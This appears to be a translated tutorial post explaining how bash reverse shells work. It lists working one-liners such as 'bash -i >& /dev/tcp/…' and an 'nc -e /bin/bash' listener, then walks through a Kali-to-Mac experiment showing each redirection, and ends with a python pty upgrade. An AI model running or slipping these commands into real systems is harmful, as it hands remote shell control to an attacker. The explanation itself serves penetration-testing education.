Full command
Reverse shell command:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i > /dev/tcp/ip/port 0>&1 2>&1
Use nc reverse shell:
nc -lvvp 12345 -t -e /bin/bash
principle
bash -i> /dev/tcp/ip/port 0>&1 2>&1
bash -i opens an interactive bash
& is to distinguish between file 1 and file descriptor 1,
a>&b means a>b 2> &1
0 stands for input, 0>&1 means that the value entered on the output window is regarded as the input of the current window. After the rebound shell, there will be two windows, namely the shell window of the target machine and the shell port of the attacking machine. The meaning of this command can also be understood as taking the input of the attacker's window as the input of the target's window and finally inputting it to the target. 2 represents standard error output.
experiment
Help everyone understand through a small experiment
The first step is to redirect the correct output of the shell to an external host
Suppose the command we entered on kali is:,
bash -i > /dev/tcp/192.168.124.1/9999this sentence means to redirect the standard output of the interactive shell to port 9999 of 192.168.124.1.
The listening port command on mac is: nc -l 9999
First, I entered the whoami command on kali, and found that there was no echo because the echo was redirected to the mac.
But when we enter and exit wrong commands on kali, there is an echo.
The second step is to redirect the error output to an external host
We only need to add 2>&1 after the above command, which means to redirect the error output to the standard output, that is, to our external host.
At this time, I found that pressing the keyboard on kali did not have any echo, and all the echoes appeared on the mac shell:
This is because we have redirected all the output to the external host, but the problem is that our control is still on kali, and the mac cannot perform any output operations and can only display the output. At this time, we need to give the input permissions to our mac.
The third step is to hand over input permissions
Just add 0>&1 to the second step command.
At this time, Kali's shell can be fully controlled on the mac, and the experiment is over.
other
Use python's virtual terminal when the shell is unstable:
python -c "import pty;pty.spawn('/bin/bash')"
Reference:
https://www.freebuf.com/news/142195.html #Convert the shell to a full tty
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
https://www.anquanke.com /post/id/87017